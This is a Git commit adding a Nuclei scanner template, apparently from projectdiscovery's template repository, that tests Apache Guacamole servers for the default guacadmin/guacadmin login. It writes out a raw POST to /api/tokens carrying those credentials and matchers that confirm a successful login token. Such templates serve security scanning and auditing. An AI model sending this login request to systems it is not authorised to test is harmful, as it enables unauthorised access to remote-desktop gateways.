Merge pull request #2351 from projectdiscovery/guacamole-default-login

Guacamole default login
patch-1
Sandeep Singh 2021-08-08 23:06:01 +05:30 committed by GitHub
commit 3b9b388111
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 37 additions and 0 deletions

View File

@ -0,0 +1,37 @@
id: guacamole-default-credentials
info:
name: Guacamole Default Credentials
author: r3dg33k
severity: high
tags: guacamole,default-login
reference: https://wiki.debian.org/Guacamole#:~:text=You%20can%20now%20access%20the,password%20are%20both%20%22guacadmin%22.
requests:
- raw:
- |
POST /api/tokens HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Origin: {{Hostname}}
Referer: {{Hostname}}
username=guacadmin&password=guacadmin
matchers-condition: and
matchers:
- type: word
words:
- '"username"'
- '"authToken"'
- '"guacadmin"'
condition: and
- type: word
words:
- 'application/json'
part: header
- type: status
status:
- 200